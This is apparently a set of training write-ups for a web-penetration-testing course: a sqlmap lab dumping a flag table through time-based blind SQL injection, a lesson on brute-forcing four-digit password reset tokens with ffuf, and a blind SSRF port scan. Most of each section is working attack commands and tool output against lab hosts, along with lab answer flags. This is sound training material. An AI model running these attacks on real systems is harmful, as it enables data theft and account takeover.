#### What's the contents of table final\_flag?[](https://my-gitbook-2.gitbook.io/cbbh/9.-sqlmap-essentials/skills-assessment#whats-the-contents-of-table-final_flag)
We start off by loading the web page — it looks like a shoe store. I start off by browsing around the site and clicking on links with the Developer Tools open and monitoring the network traffic. When I click the ‘Add to Cart’ button I notice a POST request to action.php

And in Burp looks like

I can copy this to a req.txt for future use

This looks like it might be a good place to check. I’ll copy it as curl, then replace the command with sqlmap:
Output:
Notable output:
So since it seems that teh Web App Firewall (WAF) is in place, So I can use the tamper scripts, or the '--tamper=between' flag sqlmap is suggesting
First I check with this command
to see if there is dba access
There wasn't
Looks like we are not a DBA, but we do seem to be getting information from the system. We’ll test it out and see if we can pull the table:
A: HTB{n07\_50\_h4rd\_r16h7?!}
[PreviousOS Exploitation](https://my-gitbook-2.gitbook.io/cbbh/9.-sqlmap-essentials/advanced-sql-map-usage/os-exploitation)
[NextRewalk](https://my-gitbook-2.gitbook.io/cbbh/9.-sqlmap-essentials/skills-assessment/rewalk)
Last updated 9 months ago
Copy
await fetch("http://94.237.61.82:57625/action.php", {
"credentials": "omit",
"headers": {
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0",
"Accept": "*/*",
"Accept-Language": "en-US,en;q=0.5",
"Content-Type": "application/json",
"Priority": "u=0"
},
"referrer": "http://94.237.61.82:57625/shop.html",
"body": "{\"id\":1}",
"method": "POST",
"mode": "cors"
});
Copy
sqlmap 'http://94.237.61.82:57625/action.php' -X POST -H 'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0' -H 'Accept: */*' -H 'Accept-Language: en-US,en;q=0.5' -H 'Accept-Encoding: gzip, deflate' -H 'Content-Type: application/json' -H 'Origin: http://94.237.61.82:57625' -H 'Connection: keep-alive' -H 'Referer: http://94.237.61.82:57625/shop.html' -H 'Priority: u=0' --data-raw '{"id":1}'
Copy
└─$ sqlmap 'http://94.237.61.82:57625/action.php' -X POST -H 'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0' -H 'Accept: */*' -H 'Accept-Language: en-US,en;q=0.5' -H 'Accept-Encoding: gzip, deflate' -H 'Content-Type: application/json' -H 'Origin: http://94.237.61.82:57625' -H 'Connection: keep-alive' -H 'Referer: http://94.237.61.82:57625/shop.html' -H 'Priority: u=0' --data-raw '{"id":1}'
___
__H__
___ ___[,]_____ ___ ___ {1.9.2#stable}
|_ -| . ["] | .'| . |
|___|_ [)]_|_|_|__,| _|
|_|V... |_| https://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 15:13:32 /2025-04-27/
JSON data found in POST body. Do you want to process it? [Y/n/q]
[15:13:37] [INFO] testing connection to the target URL
[15:13:37] [INFO] testing if the target URL content is stable
[15:13:37] [ERROR] there was an error checking the stability of page because of lack of content. Please check the page request results (and probable errors) by using higher verbosity levels
[15:13:37] [INFO] testing if (custom) POST parameter 'JSON id' is dynamic
[15:13:37] [WARNING] (custom) POST parameter 'JSON id' does not appear to be dynamic
[15:13:38] [INFO] heuristic (basic) test shows that (custom) POST parameter 'JSON id' might be injectable (possible DBMS: 'MySQL')
[15:13:38] [INFO] testing for SQL injection on (custom) POST parameter 'JSON id'
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n]
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n]
[15:13:44] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[15:13:44] [WARNING] reflective value(s) found and filtering out
[15:13:45] [INFO] testing 'Boolean-based blind - Parameter replace (original value)'
[15:13:46] [INFO] testing 'Generic inline queries'
[15:13:46] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause (MySQL comment)'
[15:13:54] [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause (MySQL comment)'
[15:14:05] [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause (NOT - MySQL comment)'
[15:14:14] [INFO] testing 'MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause'
[15:14:28] [INFO] testing 'MySQL AND boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause (MAKE_SET)'
[15:14:45] [INFO] testing 'MySQL OR boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause (MAKE_SET)'
[15:15:04] [INFO] testing 'MySQL AND boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause (ELT)'
[15:15:43] [WARNING] there is a possibility that the target (or WAF/IPS) is dropping 'suspicious' requests
[15:15:43] [CRITICAL] connection timed out to the target URL. sqlmap is going to retry the request(s)
[15:16:22] [INFO] testing 'MySQL OR boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause (ELT)'
[15:16:41] [INFO] testing 'MySQL AND boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)'
[15:16:57] [INFO] testing 'MySQL OR boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)'
[15:17:17] [INFO] testing 'MySQL boolean-based blind - Parameter replace (MAKE_SET)'
[15:17:17] [INFO] testing 'MySQL boolean-based blind - Parameter replace (MAKE_SET - original value)'
[15:17:17] [INFO] testing 'MySQL boolean-based blind - Parameter replace (ELT)'
[15:17:17] [INFO] testing 'MySQL boolean-based blind - Parameter replace (ELT - original value)'
[15:17:17] [INFO] testing 'MySQL boolean-based blind - Parameter replace (bool*int)'
[15:17:18] [INFO] testing 'MySQL boolean-based blind - Parameter replace (bool*int - original value)'
[15:17:18] [INFO] testing 'MySQL >= 5.0 boolean-based blind - ORDER BY, GROUP BY clause'
[15:17:18] [INFO] testing 'MySQL >= 5.0 boolean-based blind - ORDER BY, GROUP BY clause (original value)'
[15:17:18] [INFO] testing 'MySQL < 5.0 boolean-based blind - ORDER BY, GROUP BY clause'
[15:17:18] [INFO] testing 'MySQL < 5.0 boolean-based blind - ORDER BY, GROUP BY clause (original value)'
[15:17:18] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Stacked queries'
[15:17:29] [INFO] testing 'MySQL < 5.0 boolean-based blind - Stacked queries'
[15:17:29] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (BIGINT UNSIGNED)'
[15:17:40] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE or HAVING clause (BIGINT UNSIGNED)'
[15:17:50] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXP)'
[15:18:01] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE or HAVING clause (EXP)'
[15:18:11] [INFO] testing 'MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)'
[15:18:22] [INFO] testing 'MySQL >= 5.6 OR error-based - WHERE or HAVING clause (GTID_SUBSET)'
[15:18:33] [INFO] testing 'MySQL >= 5.7.8 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (JSON_KEYS)'
[15:18:43] [INFO] testing 'MySQL >= 5.7.8 OR error-based - WHERE or HAVING clause (JSON_KEYS)'
[15:18:54] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'
[15:19:05] [INFO] testing 'MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'
[15:19:15] [INFO] testing 'MySQL >= 5.0 (inline) error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'
[15:19:15] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)'
[15:19:26] [INFO] testing 'MySQL >= 5.1 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)'
[15:19:37] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (UPDATEXML)'
[15:19:47] [INFO] testing 'MySQL >= 5.1 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (UPDATEXML)'
[15:19:58] [INFO] testing 'MySQL >= 4.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'
[15:20:08] [INFO] testing 'MySQL >= 4.1 OR error-based - WHERE or HAVING clause (FLOOR)'
[15:20:19] [INFO] testing 'MySQL OR error-based - WHERE or HAVING clause (FLOOR)'
[15:20:24] [INFO] testing 'MySQL >= 5.1 error-based - PROCEDURE ANALYSE (EXTRACTVALUE)'
[15:20:31] [INFO] testing 'MySQL >= 5.5 error-based - Parameter replace (BIGINT UNSIGNED)'
[15:20:32] [INFO] testing 'MySQL >= 5.5 error-based - Parameter replace (EXP)'
[15:20:32] [INFO] testing 'MySQL >= 5.6 error-based - Parameter replace (GTID_SUBSET)'
[15:20:32] [INFO] testing 'MySQL >= 5.7.8 error-based - Parameter replace (JSON_KEYS)'
[15:20:32] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace (FLOOR)'
[15:20:32] [INFO] testing 'MySQL >= 5.1 error-based - Parameter replace (UPDATEXML)'
[15:20:32] [INFO] testing 'MySQL >= 5.1 error-based - Parameter replace (EXTRACTVALUE)'
[15:20:33] [INFO] testing 'MySQL >= 5.5 error-based - ORDER BY, GROUP BY clause (BIGINT UNSIGNED)'
[15:20:33] [INFO] testing 'MySQL >= 5.5 error-based - ORDER BY, GROUP BY clause (EXP)'
[15:20:33] [INFO] testing 'MySQL >= 5.6 error-based - ORDER BY, GROUP BY clause (GTID_SUBSET)'
[15:20:34] [INFO] testing 'MySQL >= 5.7.8 error-based - ORDER BY, GROUP BY clause (JSON_KEYS)'
[15:20:34] [INFO] testing 'MySQL >= 5.0 error-based - ORDER BY, GROUP BY clause (FLOOR)'
[15:20:35] [INFO] testing 'MySQL >= 5.1 error-based - ORDER BY, GROUP BY clause (EXTRACTVALUE)'
[15:20:35] [INFO] testing 'MySQL >= 5.1 error-based - ORDER BY, GROUP BY clause (UPDATEXML)'
[15:20:35] [INFO] testing 'MySQL >= 4.1 error-based - ORDER BY, GROUP BY clause (FLOOR)'
[15:20:36] [INFO] testing 'MySQL inline queries'
[15:20:36] [INFO] testing 'MySQL >= 5.0.12 stacked queries (comment)'
[15:20:42] [INFO] testing 'MySQL >= 5.0.12 stacked queries'
[15:20:50] [INFO] testing 'MySQL >= 5.0.12 stacked queries (query SLEEP - comment)'
[15:20:55] [INFO] testing 'MySQL >= 5.0.12 stacked queries (query SLEEP)'
[15:21:03] [INFO] testing 'MySQL < 5.0.12 stacked queries (BENCHMARK - comment)'
[15:21:08] [INFO] testing 'MySQL < 5.0.12 stacked queries (BENCHMARK)'
[15:21:17] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'
[15:21:28] [INFO] (custom) POST parameter 'JSON id' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable
[15:21:28] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[15:21:28] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[15:21:32] [INFO] testing 'MySQL UNION query (NULL) - 1 to 20 columns'
[15:21:35] [WARNING] user aborted during detection phase
how do you want to proceed? [(S)kip current test/(e)nd detection phase/(n)ext parameter/(c)hange verbosity/(q)uit]
[15:21:45] [INFO] testing 'MySQL UNION query (random number) - 1 to 20 columns'
[15:21:50] [INFO] testing 'MySQL UNION query (NULL) - 21 to 40 columns'
[15:21:54] [INFO] testing 'MySQL UNION query (random number) - 21 to 40 columns'
[15:21:58] [INFO] testing 'MySQL UNION query (NULL) - 41 to 60 columns'
[15:22:02] [INFO] testing 'MySQL UNION query (random number) - 41 to 60 columns'
[15:22:06] [INFO] testing 'MySQL UNION query (NULL) - 61 to 80 columns'
[15:22:09] [INFO] testing 'MySQL UNION query (random number) - 61 to 80 columns'
[15:22:13] [INFO] testing 'MySQL UNION query (NULL) - 81 to 100 columns'
[15:22:17] [INFO] testing 'MySQL UNION query (random number) - 81 to 100 columns'
[15:22:22] [INFO] checking if the injection point on (custom) POST parameter 'JSON id' is a false positive
[15:22:33] [WARNING] it appears that the character '>' is filtered by the back-end server. You are strongly advised to rerun with the '--tamper=between'
(custom) POST parameter 'JSON id' is vulnerable. Do you want to keep testing the others (if any)? [y/N]
sqlmap identified the following injection point(s) with a total of 2197 HTTP(s) requests:
---
Parameter: JSON id ((custom) POST)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: {"id":"1 AND (SELECT 8202 FROM (SELECT(SLEEP(5)))zJXu)"}
---
[15:23:11] [INFO] the back-end DBMS is MySQL
[15:23:11] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n]
web server operating system: Linux Debian 10 (buster)
web application technology: Apache 2.4.38
back-end DBMS: MySQL >= 5.0.12 (MariaDB fork)
Show all 120 lines
Copy
[15:15:43] [WARNING] there is a possibility that the target (or WAF/IPS) is dropping 'suspicious' requests
[15:21:28] [INFO] (custom) POST parameter 'JSON id' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable
[15:22:33] [WARNING] it appears that the character '>' is filtered by the back-end server. You are strongly advised to rerun with the '--tamper=between'
(custom) POST parameter 'JSON id' is vulnerable. Do you want to keep testing the others (if any)? [y/N]
Copy
─[us-academy-3]─[10.10.14.225]─[htb-ac-1067736@htb-ym6nyh4g52]─[~]
└──╼ [★]$ sqlmap -r req.txt --batch --tamper=between --is-dba
___
__H__
___ ___[(]_____ ___ ___ {1.8.12#stable}
|_ -| . [(] | .'| . |
|___|_ [.]_|_|_|__,| _|
|_|V... |_| https://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 22:48:05 /2025-11-09/
[22:48:05] [INFO] parsing HTTP request from 'req.txt'
[22:48:05] [INFO] loading tamper module 'between'
JSON data found in POST body. Do you want to process it? [Y/n/q] Y
[22:48:05] [INFO] resuming back-end DBMS 'mysql'
[22:48:05] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: JSON id ((custom) POST)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: {"id":"1 AND (SELECT 7875 FROM (SELECT(SLEEP(5)))AaXi)"}
---
[22:48:05] [WARNING] changes made by tampering scripts are not included in shown payload content(s)
[22:48:05] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Debian 10 (buster)
web application technology: Apache 2.4.38
back-end DBMS: MySQL >= 5.0.12 (MariaDB fork)
[22:48:05] [INFO] testing if current user is DBA
[22:48:05] [INFO] fetching current user
[22:48:05] [WARNING] time-based comparison requires larger statistical model, please wait.............................. (done)
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n] Y
[22:48:17] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions
a
[22:48:28] [INFO] adjusting time delay to 2 seconds due to good response times
dmin@localhost
current user is DBA: False
[22:50:19] [INFO] fetched data logged to text files under '/home/htb-ac-1067736/.local/share/sqlmap/output/94.237.52.164'
[22:50:19] [WARNING] your sqlmap version is outdated
[*] ending @ 22:50:19 /2025-11-09/
Copy
sqlmap -r req.txt --batch --tamper=between --dump -T "final_flag"
Copy
┌─[us-academy-3]─[10.10.14.225]─[htb-ac-1067736@htb-ym6nyh4g52]─[~]
└──╼ [★]$ sqlmap -r req.txt --threads=10 --batch --tamper=between --dump -T "final_flag"
___
__H__
___ ___[.]_____ ___ ___ {1.8.12#stable}
|_ -| . [)] | .'| . |
|___|_ ["]_|_|_|__,| _|
|_|V... |_| https://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 22:57:06 /2025-11-09/
[22:57:06] [INFO] parsing HTTP request from 'req.txt'
[22:57:06] [INFO] loading tamper module 'between'
JSON data found in POST body. Do you want to process it? [Y/n/q] Y
[22:57:06] [INFO] resuming back-end DBMS 'mysql'
[22:57:06] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: JSON id ((custom) POST)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: {"id":"1 AND (SELECT 7875 FROM (SELECT(SLEEP(5)))AaXi)"}
---
[22:57:07] [WARNING] changes made by tampering scripts are not included in shown payload content(s)
[22:57:07] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Debian 10 (buster)
web application technology: Apache 2.4.38
back-end DBMS: MySQL >= 5.0.12 (MariaDB fork)
[22:57:07] [WARNING] missing database parameter. sqlmap is going to use the current database to enumerate table(s) entries
[22:57:07] [INFO] fetching current database
multi-threading is considered unsafe in time-based data retrieval. Are you sure of your choice (breaking warranty) [y/N] N
[22:57:07] [INFO] resumed: production
[22:57:07] [INFO] fetching columns for table 'final_flag' in database 'production'
[22:57:07] [INFO] resumed: 2
[22:57:07] [INFO] resumed: id
[22:57:07] [INFO] resuming partial value: co
[22:57:07] [WARNING] time-based comparison requires larger statistical model, please wait.............................. (done)
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n] Y
[22:57:18] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions
[22:57:29] [INFO] adjusting time delay to 2 seconds due to good response times
ntent
[22:58:08] [INFO] fetching entries for table 'final_flag' in database 'production'
[22:58:08] [INFO] fetching number of entries for table 'final_flag' in database 'production'
[22:58:08] [INFO] retrieved: 1
[22:58:12] [WARNING] (case) time-based comparison requires reset of statistical model, please wait.............................. (done)
HTB{n07_50_h4rd_r16h7?!}
[23:01:51] [INFO] retrieved: 1
Database: production
Table: final_flag
[1 entry]
+----+--------------------------+
| id | content |
+----+--------------------------+
| 1 | HTB{n07_50_h4rd_r16h7?!} |
+----+--------------------------+
[23:01:57] [INFO] table 'production.final_flag' dumped to CSV file '/home/htb-ac-1067736/.local/share/sqlmap/output/94.237.52.164/dump/production/final_flag.csv'
[23:01:57] [INFO] fetched data logged to text files under '/home/htb-ac-1067736/.local/share/sqlmap/output/94.237.52.164'
[23:01:57] [WARNING] your sqlmap version is outdated
[*] ending @ 23:01:57 /2025-11-09/
---
# Brute-Forcing Password Reset Tokens | CBBH
For the complete documentation index, see [llms.txt](https://my-gitbook-2.gitbook.io/cbbh/llms.txt)
. This page is also available as [Markdown](https://my-gitbook-2.gitbook.io/cbbh/14.-broken-authentication/brute-force-attacks/brute-forcing-password-reset-tokens.md)
.
Brute-Forcing Password Reset Tokens[](https://my-gitbook-2.gitbook.io/cbbh/14.-broken-authentication/brute-force-attacks/brute-forcing-password-reset-tokens#brute-forcing-password-reset-tokens)
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
* * *
Many web applications implement a password-recovery functionality if a user forgets their password. This password-recovery functionality typically relies on a one-time reset token, which is transmitted to the user, for instance, via SMS or E-Mail. The user can then authenticate using this token, enabling them to reset their password and access their account.
As such, a weak password-reset token may be brute-forced or predicted by an attacker to take over a victim's account.
* * *
### Identifying Weak Reset Tokens[](https://my-gitbook-2.gitbook.io/cbbh/14.-broken-authentication/brute-force-attacks/brute-forcing-password-reset-tokens#identifying-weak-reset-tokens)
Reset tokens (in the form of a code or temporary password) are secret data generated by an application when a user requests a password reset. The user can then change their password by presenting the reset token.
Since password reset tokens enable an attacker to reset an account's password without knowledge of the password, they can be leveraged as an attack vector to take over a victim's account if implemented incorrectly. Password reset flows can be complicated because they consist of several sequential steps; a basic password reset flow is shown below:

Password reset flowchart: User forgets password, requests reset, receives token, uses it to log in, and changes password. Webapp generates and sends token, verifies it, grants login, and forces new password.
To identify weak reset tokens, we typically need to create an account on the target web application, request a password reset token, and then analyze it. In this example, let us assume we have received the following password reset e-mail:
As we can see, the password reset link contains the reset token in the GET-parameter `token`. In this example, the token is `7351`. Given that the token consists of only a 4-digit number, there can be only `10,000` possible values. This allows us to hijack users' accounts by requesting a password reset and then brute-forcing the token.
* * *
### Attacking Weak Reset Tokens[](https://my-gitbook-2.gitbook.io/cbbh/14.-broken-authentication/brute-force-attacks/brute-forcing-password-reset-tokens#attacking-weak-reset-tokens)
We will use `ffuf` to brute-force all possible reset tokens. First, we need to create a wordlist of all possible tokens from `0000` to `9999`, which we can achieve with `seq`:
The `-w` flag pads all numbers to the same length by prepending zeroes, which we can verify by looking at the first few lines of the output file:
Assuming that there are users currently in the process of resetting their passwords, we can try to brute-force all active reset tokens. If we want to target a specific user, we should send a password reset request for that user first to create a reset token. We can then specify the wordlist in `ffuf` to brute-force all active reset-tokens:
By specifying the reset token in the GET-parameter `token` in the `/reset_password.php` endpoint, we can reset the password of the corresponding account, enabling us to take over the account:
arrow-circle-left redo home

#### On what do password recovery functionalities provided by web applications typically rely to allow users to recover their accounts?[](https://my-gitbook-2.gitbook.io/cbbh/14.-broken-authentication/brute-force-attacks/brute-forcing-password-reset-tokens#on-what-do-password-recovery-functionalities-provided-by-web-applications-typically-rely-to-allow-us)
A:
#### Which flag of seq pads numbers by prepending zeros to make them the same length?[](https://my-gitbook-2.gitbook.io/cbbh/14.-broken-authentication/brute-force-attacks/brute-forcing-password-reset-tokens#which-flag-of-seq-pads-numbers-by-prepending-zeros-to-make-them-the-same-length)
A: \-w
#### How many possible values are there for a 6-digit OTP?[](https://my-gitbook-2.gitbook.io/cbbh/14.-broken-authentication/brute-force-attacks/brute-forcing-password-reset-tokens#how-many-possible-values-are-there-for-a-6-digit-otp)
A: 1000000
#### Takeover another user's account on the target system to obtain the flag.[](https://my-gitbook-2.gitbook.io/cbbh/14.-broken-authentication/brute-force-attacks/brute-forcing-password-reset-tokens#takeover-another-users-account-on-the-target-system-to-obtain-the-flag)
Go to target site

Click Reset Your Password

I chose admin user to reset the password for


I clicked the reset link, retrieved the link and began preparing my attack
started by created a tokens.txt
Ran ffuf attack with the tokens.txt and the reset\_password link
got 1955 so I plugged that back in to the token value

Got the reset verification

set password to admin admin and logged in

A: HTB{36da098385e641d54e1b2750721d816e}
[PreviousBrute-Forcing Passwords](https://my-gitbook-2.gitbook.io/cbbh/14.-broken-authentication/brute-force-attacks/brute-forcing-passwords)
[NextBrute-Forcing 2FA Codes](https://my-gitbook-2.gitbook.io/cbbh/14.-broken-authentication/brute-force-attacks/brute-forcing-2fa-codes)
Last updated 9 months ago
* [Brute-Forcing Password Reset Tokens](https://my-gitbook-2.gitbook.io/cbbh/14.-broken-authentication/brute-force-attacks/brute-forcing-password-reset-tokens#brute-forcing-password-reset-tokens)
* [Identifying Weak Reset Tokens](https://my-gitbook-2.gitbook.io/cbbh/14.-broken-authentication/brute-force-attacks/brute-forcing-password-reset-tokens#identifying-weak-reset-tokens)
* [Attacking Weak Reset Tokens](https://my-gitbook-2.gitbook.io/cbbh/14.-broken-authentication/brute-force-attacks/brute-forcing-password-reset-tokens#attacking-weak-reset-tokens)
Copy
Hello,
We have received a request to reset the password associated with your account. To proceed with resetting your password, please follow the instructions below:
1. Click on the following link to reset your password: Click
2. If the above link doesn't work, copy and paste the following URL into your web browser: http://weak_reset.htb/reset_password.php?token=7351
Please note that this link will expire in 24 hours, so please complete the password reset process as soon as possible. If you did not request a password reset, please disregard this e-mail.
Thank you.
Copy
[!bash!]$ seq -w 0 9999 > tokens.txt
Copy
[!bash!]$ head tokens.txt
0000
0001
0002
0003
0004
0005
0006
0007
0008
0009
Copy
[!bash!]$ ffuf -w ./tokens.txt -u http://weak_reset.htb/reset_password.php?token=FUZZ -fr "The provided token is invalid"
[Status: 200, Size: 2667, Words: 538, Lines: 90, Duration: 1ms]
* FUZZ: 6182
Copy
┌──(kali㉿kali)-[~]
└─$ seq -w 0 9999 > tokens.txt
# Verify Token Creation
┌──(kali㉿kali)-[~]
└─$ head tokens.txt
0000
0001
0002
0003
0004
0005
0006
0007
0008
0009
Copy
┌──(kali㉿kali)-[~]
└─$ ffuf -w ./tokens.txt -u http://94.237.48.51:37883/reset_password.php?token=FUZZ -fr "The provided token is invalid" -t 200
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://94.237.48.51:37883/reset_password.php?token=FUZZ
:: Wordlist : FUZZ: /home/kali/tokens.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 200
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Regexp: The provided token is invalid
________________________________________________
1955 [Status: 200, Size: 2920, Words: 596, Lines: 92, Duration: 146ms]
:: Progress: [10000/10000] :: Job [1/1] :: 167 req/sec :: Duration: [0:00:21] :: Errors: 0 ::
---
# Blind SSRF | CBBH
For the complete documentation index, see [llms.txt](https://my-gitbook-2.gitbook.io/cbbh/llms.txt)
. This page is also available as [Markdown](https://my-gitbook-2.gitbook.io/cbbh/12.-server-side-attacks/ssrf/blind-ssrf.md)
.
In many real-world SSRF vulnerabilities, the response is not directly displayed to us. These instances are called `blind` SSRF vulnerabilities because we cannot see the response. As such, all of the exploitation vectors discussed in the previous sections are unavailable to us because they all rely on us being able to inspect the response. Therefore, the impact of blind SSRF vulnerabilities is generally significantly lower due to the severely restricted exploitation vectors.
* * *
### Identifying Blind SSRF[](https://my-gitbook-2.gitbook.io/cbbh/12.-server-side-attacks/ssrf/blind-ssrf#identifying-blind-ssrf)
The sample web application behaves just like in the previous section. We can confirm the SSRF vulnerability just like we did before by supplying a URL to a system under our control and setting up a `netcat` listener:
Blind SSRF
Copy
Code4Christ@htb[/htb]$ nc -lnvp 8000
listening on [any] 8000 ...
connect to [172.17.0.1] from (UNKNOWN) [172.17.0.2] 32928
GET /index.php HTTP/1.1
Host: 172.17.0.1:8000
Accept: */*
However, if we attempt to point the web application to itself, we can observe that the response does not contain the HTML response of the coerced request; instead, it simply lets us know that the date is unavailable. Therefore, this is a blind SSRF vulnerability:

HTTP POST request to /index.php with date parameter; response indicates date is unavailable.
* * *
### Exploiting Blind SSRF[](https://my-gitbook-2.gitbook.io/cbbh/12.-server-side-attacks/ssrf/blind-ssrf#exploiting-blind-ssrf)
Exploiting blind SSRF vulnerabilities is generally severely limited compared to non-blind SSRF vulnerabilities. However, depending on the web application's behavior, we might still be able to conduct a (restricted) local port scan of the system, provided the response differs for open and closed ports. In this case, the web application responds with `Something went wrong!` for closed ports:

HTTP POST request to /index.php with date parameter; response indicates an error: 'Something went wrong!'
However, if a port is open and responds with a valid HTTP response, we get a different error message:

HTTP POST request to /index.php with date parameter; response indicates date is unavailable.
Depending on how the web application catches unexpected errors, we might be unable to identify running services that do not respond with valid HTTP responses. For instance, we are unable to identify the running MySQL service using this technique:

HTTP POST request to /index.php with date parameter; response indicates an error: 'Something went wrong!'
Furthermore, while we cannot read local files like before, we can use the same technique to identify existing files on the filesystem. That is because the error message is different for existing and non-existing files, just like it differs for open and closed ports:

HTTP POST request to /index.php with date parameter; response indicates date is unavailable.
For invalid files, the error message is different:

HTTP POST request to /index.php with date parameter; response indicates an error: 'Something went wrong!'
Exploit the SSRF to identify open ports on the system. Which port is open in addition to port 80?
Run initially to see most common response, I see a lot of 200 and word size of 3
So to find the answer just filter out the word size of 3 ("something went wrong")
Answer: 5000
[PreviousExploiting SSRF](https://my-gitbook-2.gitbook.io/cbbh/12.-server-side-attacks/ssrf/exploiting-ssrf)
[NextPreventing SSRF](https://my-gitbook-2.gitbook.io/cbbh/12.-server-side-attacks/ssrf/preventing-ssrf)
Last updated 10 months ago
* [Identifying Blind SSRF](https://my-gitbook-2.gitbook.io/cbbh/12.-server-side-attacks/ssrf/blind-ssrf#identifying-blind-ssrf)
* [Exploiting Blind SSRF](https://my-gitbook-2.gitbook.io/cbbh/12.-server-side-attacks/ssrf/blind-ssrf#exploiting-blind-ssrf)
Copy
// No filters at first
ffuf -w /usr/share/seclists/Discovery/Infrastructure/Ports-1-To-65535.txt -u http://10.129.30.48/index.php -X POST -H "Content-Type: application/x-www-form-urlencoded" -d "dateserver=http://127.0.0.1:FUZZ&date=2024-01-01"
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : POST
:: URL : http://10.129.30.48/index.php
:: Wordlist : FUZZ: /usr/share/seclists/Discovery/Infrastructure/Ports-1-To-65535.txt
:: Header : Content-Type: application/x-www-form-urlencoded
:: Data : dateserver=http://127.0.0.1:FUZZ&date=2024-01-01
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________
5 [Status: 200, Size: 21, Words: 3, Lines: 1, Duration: 65ms]
4 [Status: 200, Size: 21, Words: 3, Lines: 1, Duration: 71ms]
